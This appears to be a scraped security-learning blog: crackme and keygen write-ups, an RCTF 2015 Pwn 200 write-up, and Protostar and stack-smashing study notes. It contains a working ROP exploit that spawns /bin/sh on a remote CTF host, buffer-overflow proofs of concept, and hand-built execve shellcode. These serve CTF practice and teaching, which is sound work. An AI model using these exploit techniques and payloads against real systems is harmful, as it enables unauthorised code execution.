        code[i</span>+</span>1</span>]</span> =</span> code[i]</span> ^</span> password[i]</span></span>
        if</span> chr</span>(code[i</span>+</span>1</span>])</span> in</span> visiable_chars</span>:</span></span>
            flag</span> =</span> 1</span></span>
        else</span>:</span>   </span></span>
            flag</span> =</span> 0</span></span>
            break</span></span>
    if</span> flag</span>:</span></span>
        if</span> code[</span>0</span>]</span>^</span>code[</span>15</span>]</span>==</span>password[</span>15</span>]</span>:</span></span>
            for</span> i</span> in</span> range</span>(</span>16</span>)</span>:</span></span>
                code[i]</span>=</span>chr</span>(code[i])</span></span>
            print</span>(</span>str</span>()</span>.</span>join</span>(code))</span></span></code></pre>
Here is a possible list:</p>
0F6t>o0n3s2f5l6f</span></span>
2D4v<m2l1q0d7n4d</span></span>
4B2p:k4j7w6b1h2b</span></span>
5C3q;j5k6v7c0i3c</span></span>
6@0r8i6h5u4`3j0`</span></span>
7A1s9h7i4t5a2k1a</span></span>
+]-o%t+u(h)}.w-}</span></span>
-[+i#r-s.n/{(q+{</span></span>
*\,n$u*t)i(|/v,|</span></span>
/Y)k!p/q,l-y*s)y</span></span>
$R"`*{$z'g&r!x"r</span></span>
(^.l&w(v+k*~-t.~</span></span>
'Q!c)x'y$d%q"{!q</span></span>
,Z*h"s,r/o.z)p*z</span></span></code></pre>
Let's test it in the real world:
</p>
"Too easy"</h2>
This one is rather easy. Take a look at the kernel code:
</p>
Just simple one-by-one xor encryption, so this one is much easier</p>
password</span>=</span>[</span>0x</span>2A</span>,</span> 0x</span>23</span>,</span> 0x</span>21</span>,</span> 0x</span>29</span>,</span> 0x</span>27</span>,</span> 0x</span>30</span>,</span> 0x</span>63</span>,</span> 0x</span>63</span>,</span> 0x</span>25</span>,</span> 0x</span>2D</span>,</span> 0x</span>25</span>,</span> 0x</span>2D</span>,</span> 0x</span>25</span>,</span> 0x</span>2D</span>,</span> 0x</span>63</span>,</span> 0x</span>63</span>]</span></span>
code</span>=</span>""</span></span>
for</span> i</span> in</span> password</span>:</span></span>
    code</span>=</span>code</span>+</span>chr</span>(i</span>^</span>0x</span>42</span>)</span></span>
</span>
print</span>(code)</span></span></code></pre>
</p>
"Keygen"</h2>
This is quite old, and same as the one I've did during summer camp. I'd like to refer to some old pics in my old report.</p>
</p>
Obviously, just have a look at pepper()</code>, gaia()</code>, Thor()</code> and hades()</code>. And during the analysis we can see the table is dynamically generated with the following code:</p>
</p>
Apparently that I used X-rays, since some small tricks of complier should be resolved by the machine itself. Generally, we need to find all integers ranged at 0x3E8~0x7D0 and could be mod by 20 with 3. Then we can use another diagram to show its procedure of judging register code:</p>
</p>
Finally, time for our keygen and test:</p>
#!/usr/bin/python</span></span>
from</span> random</span> import</span> randint</span></span>
</span>
if</span> __name__</span>==</span>"__main__"</span>:</span></span>
        start</span>=</span>randint</span>(</span>1000</span>,</span>1900</span>)</span></span>
        end</span>=</span>2001</span></span>
        v</span>=</span>start</span></span>
        while</span> v</span>%</span>20</span>!=</span>3</span>:</span></span>
                v</span>=</span>v</span>+</span>1</span></span>
        p</span>=</span>2</span>*</span>(</span>int</span>(v</span>/</span>3</span>)</span>+</span>16</span>)</span></span>
        if</span> (p</span><=</span>999</span>)</span>:</span></span>
                p</span>=</span>7</span>*</span>int</span>(v</span>/</span>3</span>)</span>+</span>42</span></span>
        v</span>=</span>str</span>(v)</span></span>
        p</span>=</span>str</span>(p)</span></span>
        q</span>=</span>str</span>(</span>randint</span>(</span>10</span>,</span>99</span>))</span></span>
        print</span>(</span>"da-</span>%s</span>-</span>%s</span>X</span>%s</span>-</span>%s%s</span>-da"</span>%</span>(v</span>,</span>p[</span>:</span>1</span>:</span>-</span>1</span>]</span>,</span>p[</span>1</span>::</span>-</span>1</span>]</span>,</span>q</span>,</span>q))</span></span></code></pre>
</p>
"CrackMe2.exe"</h2>
Run it at first and input a random string, we can see the hint as below:

Load it into IDA and nothing could be found. It's apparently since our IDA is not set to view Unicode strings as default. Press ^U in IDA-Strings, and select "Unicode", we can find that string:
</p>
Do some jobs(trace call flow) and we can see that when the function at 0x411A20 returns true, our code is right. Another way is that, since it's an GUI program, we can just find it out by checking the xref of GetDlgItemTextW()</code>, which exists in User32.dll. After all, we've reached 0x411A20, and saw the following code(after some modification):</p>
</p>
And as for detect A:</p>
</p>
So we need to ensure input[2*i]==table_419080[4*i]</code> and  while i in range(0,0x20,2)</code>. Then it turns out that detect B is:</p>
</p>
And that means for every i in range(1,0x1F,2)</code> has input[2*i]==table_419000[4*i]</code>.
Considering this program is a unicode one, we can write this python script:</p>
table</span>=</span>[</span>  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>75</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>5F</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>30</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>5F</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>30</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>5F</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>68</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>5F</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>4C</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>47</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>54</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>4C</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>31</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>5F</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>75</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>48</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>68</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>59</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>75</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>47</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>74</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>54</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>33</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>46</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>41</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>5F</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>53</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>5F</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>73</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>46</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>6E</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>B1</span>,</span> 0x</span>19</span>,</span> 0x</span>BF</span>,</span> 0x</span>44</span>,</span> 0x</span>4E</span>,</span> 0x</span>E6</span>,</span> </span></span>
  0x</span>40</span>,</span> 0x</span>BB</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>01</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>01</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>01</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>01</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>01</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>FF</span>,</span> 0x</span>FF</span>,</span> 0x</span>FF</span>,</span> 0x</span>FF</span>,</span> 0x</span>01</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>01</span>,</span> 0x</span>00</span>,</span> </span></span>
  0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>01</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> 0x</span>00</span>,</span> </span></span>
  </span></span>
]</span></span>
code</span>=</span>[</span>chr</span>(</span>0</span>)</span> for</span> i</span> in</span> range</span>(</span>0</span>,</span>0x</span>20</span>)]</span></span>
for</span> i</span> in</span> range</span>(</span>0</span>,</span>0x</span>20</span>,</span>2</span>)</span>:</span></span>
    code[</span>1</span>*</span>i]</span>=</span>chr</span>(table[</span>0x</span>80</span>+</span>4</span>*</span>i])</span></span>
</span>
for</span> j</span> in</span> range</span>(</span>1</span>,</span>0x</span>1F</span>,</span>2</span>)</span>:</span></span>
    code[</span>1</span>*</span>j]</span>=</span>chr</span>(table[</span>4</span>*</span>j])</span></span>
</span>
print</span>(</span>str</span>()</span>.</span>join</span>(code[</span>:</span>0x</span>20</span>]))</span></span></code></pre>


RCTF 2015 Pwn 200
2015-11-15T00:00:00+00:00
A x86_64 program without libc, and protected with NX and maybe ASLR. A stack overflow problem can be easily found in function echo()</code>:</p>
</p>
The space on the stack is only 0x20, while we can give a string length at 0x400 and completely controlable. Ret-to-dl-resolve will also be used to escape from NX.</p>
However, the function echo()</code> will stop copying once it meets a 0x00. After a reconsidering of this stack structure, it is not something big. Since our data is also stored on stack, and under x86_64, since arguments are not passed through stack(at least in this function), we can just make the copy function stop at a certain point, and pop</code> again to use our own rop chain. Though it might be stripped in echo()</code>, we can actually not considering it.</p>
The exp script is as below.</p>
Thanks to Bigtang</a> for showing me this way to bypass its protect.</p>
Thanks to roputils</a> for its excellent script.</p>
#"a"*24 -> pop4+ret -> [ROP jobs]</span></span>
from</span> roputils</span> import</span> *</span></span>
</span>
offset</span>=</span>32</span></span>
fpath</span>=</span>'./pwn200'</span></span>
#p=Proc(rop.fpath)</span></span>
p</span>=</span>Proc</span>(host</span>=</span>'180.76.178.48'</span>,</span>port</span>=</span>6666</span>)</span></span>
</span>
rop</span>=</span>ROP</span>(fpath)</span></span>
addr_stage</span>=</span>rop</span>.</span>section</span>(</span>'.bss'</span>)</span>+</span>0x</span>400</span></span>
ptr_ret</span>=</span>rop</span>.</span>search</span>(rop</span>.</span>section</span>(</span>'.fini'</span>))</span></span>
</span>
buf</span>=</span>'a'</span>*</span>24</span>+</span>'</span>\x9c\x08\x40\x00\x00\x00\x00\x00</span>'</span></span>
buf</span> +=</span> rop</span>.</span>call_chain_ptr</span>(</span>          # have a rop chain to leak the address</span></span>
    [</span>'write'</span>,</span> 1</span>,</span> rop</span>.</span>got</span>()</span>+</span>8</span>,</span> 8</span>]</span>,</span></span>
    [</span>'read'</span>,</span> 0</span>,</span> addr_stage</span>,</span> 420</span>]</span></span>
,</span> pivot</span>=</span>addr_stage)</span></span>
buf</span> +=</span> rop</span>.</span>fill</span>(</span>0x</span>100</span>,</span> buf)</span></span>
</span>
p</span>.</span>write</span>(buf)</span></span>
p</span>.</span>read</span>(</span>16</span>)</span></span>
addr_link_map</span> =</span> p</span>.</span>read_p64</span>()</span></span>
print</span>(</span>"link_map is at </span>%s</span>"</span> %</span> hex</span>(addr_link_map))</span></span>
addr_dt_debug</span> =</span> addr_link_map</span> +</span> 0x</span>1c8</span></span>
</span>
buf</span> =</span> rop</span>.</span>call_chain_ptr</span>(</span></span>
    [</span>'read'</span>,</span> 0</span>,</span> addr_dt_debug</span>,</span> 8</span>]</span>,</span></span>
    [ptr_ret</span>,</span> addr_stage</span>+</span>400</span>]</span></span>
)</span></span>
buf</span> +=</span> rop</span>.</span>dl_resolve_call</span>(addr_stage</span>+</span>300</span>)</span></span>
buf</span> +=</span> rop</span>.</span>fill</span>(</span>300</span>,</span> buf)</span></span>
buf</span> +=</span> rop</span>.</span>dl_resolve_data</span>(addr_stage</span>+</span>300</span>,</span> 'system'</span>)</span></span>
buf</span> +=</span> rop</span>.</span>fill</span>(</span>400</span>,</span> buf)</span></span>
buf</span> +=</span> rop</span>.</span>string</span>(</span>'/bin/sh'</span>)</span></span>
buf</span> +=</span> rop</span>.</span>fill</span>(</span>420</span>,</span> buf)</span></span>
</span>
p</span>.</span>write</span>(buf)</span></span>
p</span>.</span>write_p64</span>(</span>0</span>)</span></span>
p</span>.</span>interact</span>(</span>0</span>)</span></span></code></pre>


Linux可执行文件装载的学习笔记
2015-10-24T00:00:00+00:00
实际就是《程序员的自我修养——链接、装载与库》的笔记。</p>
还在学，尚未完成。</p>
下载地址： ELFfile_v11.mm</a>。</p>
可用Freemind打开并编辑。</p>
请勿转载</p>
有任何错误欢迎发邮件指正，不胜感激。</p>


    
        Version</td>
        Date</td>
        Notes</td>
    </tr>
    

        1.1</td>
        10/25/2015</td>
        Finished chapter 1~7</td>
    </tr>
     

        1.0</td>
        10/24/2015</td>
        First commit.</td>
    </tr>
</table>


Friendlinks
2015-10-19T00:00:00+00:00
有人想和可怜的我互换博客链接吗……</p>

时雨牛</a></p>
糖果牛</a></p>


Chu大爷</a></p>


Swing'Blog</a></p>


LeadroyaL</a></p>
Zebork's Blog</a></p>
Arch0n's Nexus</a></p>

Misty的小窝</a></p>
心 空</a></p>

F1sh</a></p>

Klaus</a></p>
nen9mA0</a></p>
雾匣子</a></p>


Silver的二进制学习记(1)：复习字符串漏洞
2015-05-19T00:00:00+00:00
0x00 复习对象</h2>

栈粉碎</li>
代码注入
以及有关内容</li>
</ul>
0x01 成因</h2>

缓冲区长度<填入数据长度</li>
无效的边界检查</li>
对库函数的错误调用</li>
</ul>
0x02 基础复习</h2>
函数调用和返回流程</h3>
调用</p>

PUSH EIP</code></li>
控制权转移(置入新的EIP)</li>
保存现场：PUSH EBP</code></li>
MOV EBP,ESP</code></li>
分配内存：SUB ESP,0X14</code></li>
</ol>
返回</p>

收回内存：MOV ESP, EBP</code></li>
恢复现场：POP EBP</code></li>
控制权交还</li>
</ol>
内存管理</h3>

帧和栈</li>
临时变量会存储在EBP-offset_address</li>
ret时候要用的EIP会在 EBP+sizeof(EBP)</code> 处</li>
覆盖这个地址可以实现返回时控制权的转移</li>
</ul>
0x03 栈粉碎</h2>
有漏洞的程序</p>
bool</span> verify{</span></span>
    char</span> buff[</span>12</span>]</span>=</span>""</span>;</span></span>
    buff</span>=</span>gets</span>()</span>;</span></span>
    if</span>(</span>!</span>strcmp</span>(buff</span>,</span>"password"</span>))</span></span>
        return</span> true</span>;</span></span>
    else</span></span>
        return</span> false</span>;</span></span>
}</span></span>
int</span> main</span>(</span>void</span>)</span></span>
{</span></span>
    int</span> state</span>=</span>verify</span>()</span>;</span></span>
    if</span> (</span> !</span>state )</span></span>
        puts</span>(</span>"Oops!"</span>)</span>;</span></span>
    else</span></span>
        puts</span>(</span>"Good!"</span>)</span>;</span> //0x080484f3</span></span>
return</span> 0</span>;</span></span>
}</span></span></code></pre>
POC:</p>
#!/bin/sh</span></span>
echo</span> -ne</span> "123412341234123412341234\xf3\x84\x04\x08"</span> |</span> ./vul</span></span>
#extra bytes might caused by align</span></span></code></pre>
结果：</p>
[silver@binresearch stack_smashing]$ ./stack_smashing_command.sh </span></span>
Show me your name:</span></span>
Good boy!</span></span>
./stack_smashing_command.sh: line 2:  5432 Done                    echo -ne '123412341234123412341234\xf3\x84\x04\x08'</span></span>
        5433 Segmentation fault      | ./vulnerable</span></span></code></pre>
分析：破坏了压进去的EBP(?)
(今天听吴神说过残像攻击，可能有用，mark下)</p>
0x04 代码注入</h2>
漏洞同上
POC:</p>
#!/bin/sh</span></span>
#following are explain. of this exploit</span></span>
#   ADDR          DATA                MEANING</span></span>
#0xFFFFD17C       80 D1 FF FF         the address of code</span></span>
#0xFFFFD180       31 C0               XOR eax, eax</span></span>
#0xFFFFD182       A3 9F D1 FF FF      MOV 0xFFFFD19F, EAX //SET THIS TO NULL</span></span>
#0xFFFFD187       B0 0B               MOV AL, 0X0B</span></span>
#0xFFFFD189       BB A3 D1 FF FF      MOV EBX, 0xFFFFD1A3 //Arg[1]</span></span>
#0xFFFFD18E       B9 9B D1 FF FF      MOV ECX, 0xFFFFD19B //Arg[2]</span></span>
#0xFFFFD193       8B 15 9F D1 FF FF   MOV EDX, 0xFFFFD19F //Arg[3]</span></span>
#0xFFFFD199       CD 80               INT 80              //EXECUTE!</span></span>
#0xFFFFD19B       9F D1 FF FF         pointer to a null str</span></span>
#0xFFFFD19F       "fdru"              a string which will be nulled</span></span>
#0xFFFFD1A3-D1AF  command             /usr/bin/cal</span></span>
echo</span> -ne</span> '111122223333444455556666\x80\xd1\xff\xff\x31\xc0\xa3\x9f\xd1\xff\xff\xb0\x0b\xbb\xa3\xd1\xff\xff\xb9\x9b\xd1\xff\xff\x8b\x15\x9f\xd1\xff\xff\xcd\x80\xa3\xd1\xff\xff\x66\x64\x72\x75\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x63\x61\x6c\x00'</span> ></span> exp_with_mess.bin</span></span>
</span>
#I WILL NEVER LOOK UP INTEL'S TABLE TO ASS. THIS ASSHOLE</span></span>
#NEVER!!!</span></span></code></pre>
结果：失败</p>
[silver@binresearch stack_smashing]$ ./vul < exp_with_mess.bin </span></span>
Segmentation fault</span></span></code></pre>
分析：使用固定地址，且未关闭栈随机化(?)
Question：为什么XOR EAX,EAX</code>是31 C0</code>?</p>
0x05 弧注入</h2>
控制流转移；巧妙控制压进去的帧指针===>调用链</p>
0x06 缓解策略</h2>

对攻击的检测

设立哨位

目标：栈粉碎攻击</li>
方法：置于缓冲区边缘，返回时检查是否被修改。检测到改变即表示存在栈粉碎攻击</li>
要求：绝对随机的canaries或难以插入的canaries</li>
缺陷：无法保护对变量的修改；并不能阻止溢出；不能完全阻止对栈内EIP的覆盖</li>
对最后一点的对策：ramdon xor canaries---要求canary绝对保密</li>
</ul>
</li>
运行时的边界检查

aka.: 和Java一样慢</li>
</ul>
</li>
</ol>
</li>
阻止攻击

栈粉碎保护器（ProPolice）

变量重排</li>
GCC的一个拓展</li>
</ul>
</li>
栈随机化

并不能阻止相对地址</li>
</ul>
</li>
不可执行的栈

潜在的兼容性风险</li>
</ul>
</li>
</ol>
</li>
减少风险

最小特权原则</li>
使用安全的库函数</li>
谨防队友坑</li>
</ul>
</li>
</ol>
0x07 参考</h2>
《C和C++安全编码》</p>


Protostar学习笔记
2015-04-13T00:00:00+00:00
正在学习二进制安全，经糖果牛</a>介绍，知道了还有Protostar</a>这么个好玩的东西。实际说来，Protostar是Exploit Exercise网站下四个供安全学习用的镜像之一，除了这个以外，还有其他四个环境，分别是Nebula（Linux基础），Fusion（相当于Protostar的高难度版本），Main Sequence（似乎是Ruxcon 2012的真题）和Cloud Road（应该是Ruxcon 2014的题），具体的可以去他们的官网</a>查阅。（另外官网上对于题目已经给出了足够的提示，因此这里的笔记只起两个作用了，一是我自己对少数题目的解法，二是我在学习过程中的点滴思考，只是对自己想法的记录。如果您感觉有一定的参考意义，那将是我的荣幸。如果您觉得这里应该公布标准答案，请移驾本处</a>。</p>
更新并不定期。</p>
工作的环境配置如下：</p>
# /bin/bash</span></span>
user@protostar:~$</span> su</span></span>
root@protostar:/#</span> echo '1'</span> ></span> /proc/sys/fs/suid_dumpable</span></span>
root@protostar:/#</span> exit</span></span>
user@protostar:~$</span> gdb</span> -q</span></span>
(</span>gdb</span>)</span> set</span> disassemble-flavor</span></span></code></pre>
那么下面就是正文了。</p>

4/13/2015更新</p>
Stack系列</h3>
Level 0~2</h4>
都是相当简单的缓冲区溢出，只不过方式稍有不同。Lv0的话，只要你输入的数量足够，就能通过了。但这没意思了不是，尝试一下最少需要多少个字符完成任务，再结合源码中在栈上分配的空间大小，要了解细节还算是比较轻松的。而Lv1则加入了对特定字符的限制，除了考查内存分配以外，还要知道小端机器是如何在内存中存放数据的。Lv2感觉是给我一个新思路，原来只知道用户输入可能有漏洞，没想过环境变量也是个靶点，看来思路还不宽。</p>
这部分因为是中午要睡觉，所以也没太细看，简单走了几步就过去了，不过顺手搜到个很好用的trick：</p>
export</span> foo</span>=</span>`</span>perl</span> -e</span> 'print "\x50\x9a\x05\x40"'`</span></span></code></pre>Level 3</h4>
直接disas main</code>会发现使用了函数指针，不过函数指针并没有被赋值。然后敲i fun</code>可以看到有一个名为win的函数存在，但是并没有被使用到。disas win</code>可看到将0x8048540处的字符串输出，也就是说需要使函数指针指向win。disas main</code>可以看到编译器在栈上为输入数据分配了0x40=64个空间，因此POC如下：</p>
perl</span> -e</span> 'print "a"x64 . "\x24\x84\x04\x08"'</span> |</span> ./stack3</span></span></code></pre>

4/15/2015更新</p>
Level 4</h4>
注意这里编译器生成的代码：</p>
and esp, 0xfffffff0</span></span></code></pre>
自己写了个调用gets()的程序，发现这句话是编译器自己加上去的，似乎只是为了对齐用。因此我们的POC需要重新计算（记得包括ebp和这个偏移量）：</p>
perl</span> -e</span> 'print "a"x76 . "\x24\x84\x04\x08"'</span> |</span> ./stack3</span></span></code></pre>
(76=64+0x08+0x04)
但是关于这个偏移量产生的原因，似乎还可以追一下。留待有时间看看。</p>
Level 5</h4>
i fun</code>并没有什么卵用。disas</code>似乎也并没有什么作用。去官网上看了下，原来是要你构造个shellcode放进去。看了下相关配置，栈执行已经关掉了，好办。</p>
先来看下代码：</p>
push ebp</span></span>
mov  ebp, esp</span></span>
and  esp, 0xfffffff0</span></span>
sub  esp, 0x50</span></span>
lea  eax, [esp+0x10]</span></span>
mov  DWORD PTR [esp], eax</span></span>
call <gets@plt></span></span>
leave</span></span>
ret</span></span></code></pre>
那么压入栈中的返回地址是esp+(0x50-0x08+0x04=)76==esp+0x4c</code>，输入的数据存放在esp+0x10</code>(本环境下esp=0xbffff7c0）。先确定下：</p>
perl</span> -e</span> 'print "\xcc"x76 . "\xd0\xf7\xff\xbf"'</span> ></span> '~/test.in'</span></span>
<</span>Alt+F</span>2></span></span>
(</span>gdb</span>)</span> r</span> </span></span>
Starting</span> program: /opt/protostar/bin/stack5</span> <</span> ~/test.in</span></span>
</span>
Program</span> received signal SIGTRAP, Trace/breakpoint trap.</span></span>
0xbffff7d1</span> in ??</span>()</span></span>
(</span>gdb</span>)</span> x</span> /20x</span> 0xbffff7d0</span></span>
0xbffff7d0:</span> 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc</span></span>
......</span></span>
0xbffff810:</span> 0xcccccccc 0xcccccccc 0xcccccccc 0xbffff7d0</span></span>
(</span>gdb</span>)</span> i</span> reg esp ebp</span></span>
esp</span>   0xbffff820 0xbffff820</span></span>
ebp</span>   0xcccccccc 0xcccccccc</span></span></code></pre>
看来是没问题了。那么现在写下shellcode，弹个……日历吧。感谢这家</a>和这家</a>的大力支持，得到了shellcode如下：</p>
#base: 0xbffff7d0+0x1c个nop</span></span>
#-1:  90                      nop</span></span>
#00:  31 c0                   xor    eax,eax</span></span>
#02:  a3 08 f8 ff bf          mov    ds:0xbffff808,eax</span></span>
